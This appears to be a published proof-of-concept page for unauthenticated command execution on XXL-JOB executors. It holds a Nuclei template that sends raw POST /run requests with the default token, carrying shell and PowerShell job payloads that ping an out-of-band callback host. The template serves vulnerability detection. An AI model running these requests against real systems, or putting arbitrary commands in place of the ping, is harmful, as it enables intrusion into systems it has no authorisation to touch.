xxljob-executor-unauth: XXL-JOB executor - Unauthorized Access

2025-08-01 XXL-JOB PoC Public

Description

XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends: admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API.

PoC

id: xxljob-executor-unauth

info:
  name: XXL-JOB executor - Unauthorized Access
  author: k3rwin
  severity: critical
  description: |
    XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends: admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API.
  reference:
    - https://github.com/jas502n/xxl-job/blob/main/README.md
    - https://github.com/vulhub/vulhub/blob/master/xxl-job/unacc/README.md
  classification:
    cpe: cpe:2.3:a:xuxueli:xxl-job:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xuxueli
    product: xxl-job
    fofa-query: app="XXL-JOB"
  tags: xxljob,unauth,misconfig,rce,vuln

http:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Xxl-Job-Access-Token: default_token
        Content-Length: 396

        {
          "jobId": {{rand_int(1000)}},
          "executorHandler": "demoJobHandler",
          "executorParams": "demoJobHandler",
          "executorBlockStrategy": "COVER_EARLY",
          "executorTimeout": 0,
          "logId": 1,
          "logDateTime": 1586629003729,
          "glueType": "GLUE_SHELL",
          "glueSource": "ping {{interactsh-url}}",
          "glueUpdatetime": 1586699003758,
          "broadcastIndex": 0,
          "broadcastTotal": 0
        }
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Xxl-Job-Access-Token: default_token
        Content-Length: 396

        {
          "jobId": {{rand_int(1000)}},
          "executorHandler": "demoJobHandler",
          "executorParams": "demoJobHandler",
          "executorBlockStrategy": "COVER_EARLY",
          "executorTimeout": 0,
          "logId": 1,
          "logDateTime": 1586629003729,
          "glueType": "GLUE_POWERSHELL",
          "glueSource": "ping {{interactsh-url}}",
          "glueUpdatetime": 1586699003758,
          "broadcastIndex": 0,
          "broadcastTotal": 0
        }

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"code":200}'

      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502203309575269cfd4eb4fb8c357f9ec2e8bdc16af08dbae2aa25163258553ce0c85022100a814f3043ba0c2a263a5338059240498f32e737654d0d752b5feb1dc4da88339:922c64590222798bb761d5b6d8e72950

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References

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